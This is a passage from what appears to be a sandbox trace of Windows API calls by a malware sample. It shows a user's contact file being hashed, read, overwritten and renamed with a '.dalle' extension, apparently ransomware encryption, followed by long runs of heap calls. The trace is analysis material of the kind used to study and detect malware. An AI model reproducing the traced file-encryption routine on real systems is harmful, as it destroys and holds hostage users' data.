dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.948] SetFilePointer (in: hFile=0x618, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.948] ReadFile (in: hFile=0x618, lpBuffer=0x3640000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x388fb78, lpOverlapped=0x0 | out: lpBuffer=0x3640000*, lpNumberOfBytesRead=0x388fb78*=0x494, lpOverlapped=0x0) returned 1 [0119.948] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.948] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x25) returned 0x30119f8 [0119.948] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.948] lstrlenA (lpString="B86945E46447044CDD8327D93424B16C") returned 32 [0119.948] CryptAcquireContextW (in: phProv=0x388fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x388fa94*=0x6c1050) returned 1 [0119.949] CryptCreateHash (in: hProv=0x6c1050, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x388fa9c | out: phHash=0x388fa9c) returned 1 [0119.949] CryptHashData (hHash=0x3008fa0, pbData=0x30119f8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0119.949] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x388fa98) returned 1 [0119.949] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x11) returned 0x2fc8f40 [0119.949] CryptGetHashParam (in: hHash=0x3008fa0, dwParam=0x2, pbData=0x2fc8f40, pdwDataLen=0x388fa98, dwFlags=0x0 | out: pbData=0x2fc8f40, pdwDataLen=0x388fa98) returned 1 [0119.949] GetLastError () returned 0x0 [0119.949] SetLastError (dwErrCode=0x0) [0119.949] GetLastError () returned 0x0 [0119.949] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.950] SetLastError (dwErrCode=0x0) [0119.950] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022ab0 [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.951] SetLastError (dwErrCode=0x0) [0119.951] GetLastError () returned 0x0 [0119.952] SetLastError (dwErrCode=0x0) [0119.952] GetLastError () returned 0x0 [0119.952] SetLastError (dwErrCode=0x0) [0119.952] GetLastError () returned 0x0 [0119.952] SetLastError (dwErrCode=0x0) [0119.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x30) returned 0x2fdb2a0 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022ab0 | out: hHeap=0x5e0000) returned 1 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fc8f40 | out: hHeap=0x5e0000) returned 1 [0119.952] CryptDestroyHash (hHash=0x3008fa0) returned 1 [0119.952] CryptReleaseContext (hProv=0x6c1050, dwFlags=0x0) returned 1 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30119f8 | out: hHeap=0x5e0000) returned 1 [0119.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x490) returned 0x30940c0 [0119.952] SetFilePointer (in: hFile=0x618, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb2a0 | out: hHeap=0x5e0000) returned 1 [0119.952] WriteFile (in: hFile=0x618, lpBuffer=0x30940c0*, nNumberOfBytesToWrite=0x48f, lpNumberOfBytesWritten=0x388fb24, lpOverlapped=0x0 | out: lpBuffer=0x30940c0*, lpNumberOfBytesWritten=0x388fb24*=0x48f, lpOverlapped=0x0) returned 1 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.952] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x494, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0119.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x60) returned 0x2f33a88 [0119.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x428) returned 0x30940c0 [0119.952] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", cchWideChar=-1, lpMultiByteStr=0x30940c0, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M", lpUsedDefaultChar=0x0) returned 41 [0119.952] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x430) returned 0x3096780 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x30940c0 | out: hHeap=0x5e0000) returned 1 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.952] WriteFile (in: hFile=0x618, lpBuffer=0x3096780*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x3096780*, lpNumberOfBytesWritten=0x388fb2c*=0x28, lpOverlapped=0x0) returned 1 [0119.952] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.952] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0119.953] WriteFile (in: hFile=0x618, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x388fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x388fb2c*=0x26, lpOverlapped=0x0) returned 1 [0119.953] CloseHandle (hObject=0x618) returned 1 [0119.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x80) returned 0x6c1050 [0119.953] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x890) returned 0x3096780 [0119.953] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c1050 | out: hHeap=0x5e0000) returned 1 [0119.953] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\sikvnb huvuib.contact.dalle" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\sikvnb huvuib.contact.dalle")) returned 1 [0119.954] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3096780 | out: hHeap=0x5e0000) returned 1 [0119.954] VirtualFree (lpAddress=0x3640000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x6c10d8 | out: hHeap=0x5e0000) returned 1 [0119.955] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0 [0119.955] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb1c0 | out: hHeap=0x5e0000) returned 1 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde5e0 | out: hHeap=0x5e0000) returned 1 [0119.955] PeekMessageW (in: lpMsg=0x388ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388ff08) returned 0 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde5e0 [0119.955] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.955] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.955] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.956] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.956] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.957] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.957] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.958] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.958] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307f550 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.959] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307f550 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307f550 | out: hHeap=0x5e0000) returned 1 [0119.959] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde2c8 | out: hHeap=0x5e0000) returned 1 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x50) returned 0x2fde2c8 [0119.960] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307f550 [0119.960] HeapFree (in: 